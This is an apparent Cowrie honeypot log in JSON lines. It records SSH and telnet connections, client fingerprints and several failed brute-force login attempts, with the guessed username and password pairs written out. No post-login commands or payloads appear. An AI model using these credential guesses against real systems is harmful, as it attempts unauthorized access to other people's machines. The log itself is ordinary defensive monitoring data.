{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:06.632770Z","src_ip":"180.243.191.141","session":"f5c8de2f9cdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:10.852130Z","src_ip":"180.243.191.141","session":"f5c8de2f9cdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.165.238.2","src_port":43378,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a5e44e540e4","protocol":"ssh","message":"New connection: 45.165.238.2:43378 (10.17.0.5:22) [session: 6a5e44e540e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:18.418643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:18.423609Z","src_ip":"45.165.238.2","session":"6a5e44e540e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:18.553752Z","src_ip":"45.165.238.2","session":"6a5e44e540e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxcvbnm123","message":"login attempt [root/Zxcvbnm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:19.413327Z","src_ip":"45.165.238.2","session":"6a5e44e540e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":37834,"dst_ip":"10.17.0.5","dst_port":22,"session":"74b30ca1fefd","protocol":"ssh","message":"New connection: 109.237.96.109:37834 (10.17.0.5:22) [session: 74b30ca1fefd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:19.877679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:19.882883Z","src_ip":"109.237.96.109","session":"74b30ca1fefd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:19.972982Z","src_ip":"109.237.96.109","session":"74b30ca1fefd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dasha2003","message":"login attempt [root/dasha2003] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:20.247189Z","src_ip":"109.237.96.109","session":"74b30ca1fefd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:20.546898Z","src_ip":"45.165.238.2","session":"6a5e44e540e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:21.340616Z","src_ip":"109.237.96.109","session":"74b30ca1fefd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.107.156.227","src_port":49741,"dst_ip":"10.17.0.5","dst_port":22,"session":"468a9091d21f","protocol":"ssh","message":"New connection: 222.107.156.227:49741 (10.17.0.5:22) [session: 468a9091d21f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:50.044266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:50.049872Z","src_ip":"222.107.156.227","session":"468a9091d21f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:50.252603Z","src_ip":"222.107.156.227","session":"468a9091d21f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser@123","message":"login attempt [testuser/testuser@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:51.094799Z","src_ip":"222.107.156.227","session":"468a9091d21f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:52.300828Z","src_ip":"222.107.156.227","session":"468a9091d21f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00215029716492,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:55.745499Z","src_ip":"186.55.200.230","session":"5c9b5fcd3f54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":47094,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c97677a31a7","protocol":"ssh","message":"New connection: 171.244.141.86:47094 (10.17.0.5:22) [session: 5c97677a31a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:56.248755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:56.255255Z","src_ip":"171.244.141.86","session":"5c97677a31a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:56.259529Z","src_ip":"14.103.118.145","session":"ed395ce09508","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:56.547480Z","src_ip":"171.244.141.86","session":"5c97677a31a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":50346,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ba290f5946a","protocol":"telnet","message":"New connection: 186.55.200.230:50346 (159.203.135.109:23) [session: 0ba290f5946a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:57.149701Z"}
{"eventid":"cowrie.session.closed","duration":120.00192856788635,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:57.282666Z","src_ip":"186.55.200.230","session":"0e7b9c39292d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tung","password":"tung","message":"login attempt [tung/tung] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:57.536126Z","src_ip":"171.244.141.86","session":"5c97677a31a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":50360,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ebbf0b87a9b","protocol":"telnet","message":"New connection: 186.55.200.230:50360 (159.203.135.109:23) [session: 2ebbf0b87a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:57.589619Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:21:58.780924Z","src_ip":"171.244.141.86","session":"5c97677a31a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00603222846985,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:22:00.407482Z","src_ip":"186.55.200.230","session":"52b1e3c0b4cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":47406,"dst_ip":"159.203.135.109","dst_port":23,"session":"13b7f8c5dcf8","protocol":"telnet","message":"New connection: 186.55.200.230:47406 (159.203.135.109:23) [session: 13b7f8c5dcf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:22:00.713026Z"}
{"eventid":"cowrie.session.closed","duration":120.00309181213379,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:22:02.450592Z","src_ip":"186.55.200.230","session":"73f784b20bd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":50560,"dst_ip":"159.203.135.109","dst_port":23,"session":"84ff648aa33e","protocol":"telnet","message":"New connection: 186.55.200.230:50560 (159.203.135.109:23) [session: 84ff648aa33e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:22:02.767816Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.243.191.141","src_port":19196,"dst_ip":"10.17.0.5","dst_port":22,"session":"94cfac1ac0bb","protocol":"ssh","message":"New connection: 180.243.191.141:19196 (10.17.0.5:22) [session: 94cfac1ac0bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:22:07.938700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:22:07.944935Z","src_ip":"180.243.191.141","session":"94cfac1ac0bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:22:08.212122Z","src_ip":"180.243.191.141","session":"94cfac1ac0bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sandro","password":"sandro","message":"login attempt [sandro/sandro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:22:09.305467Z","src_ip":"180.243.191.141","session":"94cfac1ac0bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:22:10.586950Z","src_ip":"180.243.191.141","session":"94cfac1ac0bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.246.14.196","src_port":33506,"dst_ip":"159.203.135.109","dst_port":22,"session":"3edb5d677b12","protocol":"ssh","message":"New connection: 186.246.14.196:33506 (159.203.135.109:22) [session: 3edb5d677b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:22:13.927811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:22:13.932937Z","src_ip":"186.246.14.196","session":"3edb5d677b12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:22:14.106686Z","src_ip":"186.246.14.196","session":"3edb5d677b12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"passwd","message":"login attempt [ubuntu/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:22:14.823815Z","src_ip":"186.246.14.196","session":"3edb5d677b12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:22:16.003688Z","src_ip":"186.246.14.196","session":"3edb5d677b12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":53220,"dst_ip":"159.203.135.109","dst_port":22,"session":"2aa68bc58db1","protocol":"ssh","message":"New connection: 194.59.206.2:53220 (159.203.135.109:22) [session: 2aa68bc58db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:22:23.894763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:22:23.998883Z","src_ip":"194.59.206.2","session":"2aa68bc58db1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:22:24.004965Z","src_ip":"194.59.206.2","session":"2aa68bc58db1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:22:24.201803Z","src_ip":"194.59.206.2","session":"2aa68bc58db1","protocol":"ssh"}
